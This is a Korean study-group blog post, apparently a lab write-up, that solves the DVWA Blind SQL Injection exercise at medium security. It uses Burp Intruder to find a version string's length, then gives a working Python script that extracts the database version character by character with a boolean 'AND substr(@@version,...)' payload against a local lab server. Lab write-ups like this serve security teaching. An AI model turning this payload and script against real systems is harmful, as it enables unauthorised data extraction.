TeamH4C

[빡공팟 5기] W6 : DVWA 실습 - SQL Injection(Blind) (medium)

이유갬 2022. 10. 30. 23:23

[  실습 목표  ]

Find the version of the SQL database software through a blind SQL attack.

blind SQL attack 을 이용해서 SQL database 의 버전을 알아내는 것이 이번 실습의 목표이다.


[  실습 화면  ]

- 아이디를 제출하면 그저 데이터 베이스에 존재만 한다고 알려주는 메시지가 출력된다.

- 소스코드를 보니 크게 얻을 수 있는 건 보이지 않는다.

- 한번 패킷을 잡아보자!

- 이렇게 출력이 된다.

- SQL Injection 중 Blind 는 참/거짓 값을 이용하여 정보를 알아내는 것인데 이는 버프 스위트나 파이썬 스크립트를 통해 알아내야한다.

- 수작업으로 하면 시간이 매우 오래 걸리기 때문이다.

- 우선 문법이 잘 먹히는 지 확인해보자.

- 문법이 잘 먹히는 걸 확인했으니 이제 버전을 알아내보자.

- 버전을 알아내기 위해선 버전 정보의 문자열 길이가 얼마나 되는지, 숫자와 문자의 조합으로 해당 길이까지 매칭한다, 참과 거짓을 판별할 수 있는 문구의 출력 중 exist 문자열이 출력되는 것을 이용하여 코드를 작성한다.

- 우선 버프 스위트를 이용하여 버전 정보의 문자열 길이를 구해보자!

- 버프 스위트의 intruder 기능을 이용하여 버전의 length 를 구해보았다.

- 버전 문자열의 length 를 성공적으로 구했다!

- 이제 문자열을 구하기 위한 파이썬 스크립트를 작성해보자.

import requests
URL = "http://192.168.64.4/vulnerabilities/sqli_blind/"
cookies = {
    'PHPSESSID': '5qcqg14g7rulgpi9r160ive9jq',
    'security': 'medium'
}
result = ""

for i in range(1,24):
    for j in range(0,127):
        data =  {
            'id':f'1 AND substr(@@version,{i},1) = {hex(j)} #',
            'Submit':'Submit'
        }

        req= requests.post(URL, data=data, cookies=cookies)
        
        if "exists" in req.text:
            result+=chr(j)
            print(f'서버 문자열 길이 {i} : {result}')
            break


print(f'서버 버전 : {result}')

- requests 모듈을 삽입하고, 요청을 보낼 URL 을 만든다.

- 함께 보낼 쿠키를 셋팅하고 데이터 베이스의 버전을 담을 빈 문자열을 만든다.

- 이중 for 문을 이용하여 version 의 문자열을 알아낸다. 이때, 1 AND 에서 버전의 인덱스와 해당 문자가 일치하면 1 을 반환하므로 User ID exists in the database. 라는 문구가 뜬다.

- 해당 문구의 exists 문자열을 이용하여 문구가 출력되면 버전의 문자열을 올바르게 찾은 것이므로 += 대입을 통해 데이터 베이스의 버전의 최종 문자열을 알아낸다.

- 따라서, 해당 스크립트를 실행시키면,

- 위의 사진과 같이 최종 서버의 버전 문자열을 알아낼 수 있다.

- mysql 에 들어가서 버전을 확인해보니 동일한 것을 알 수 있다.

- 이렇게 Blind SQL Injection 은 참/거짓을 활용하여 정보를 알아낼 수 있다.

- Blind SQL Injection 에서 사용하는 유용한 함수를 나열하고 마치겠다.

substring, length, limit, ascii

- 참고로 substr() 함수는 인덱스가 0이 아닌 1로 시작하는 것을 기억하자!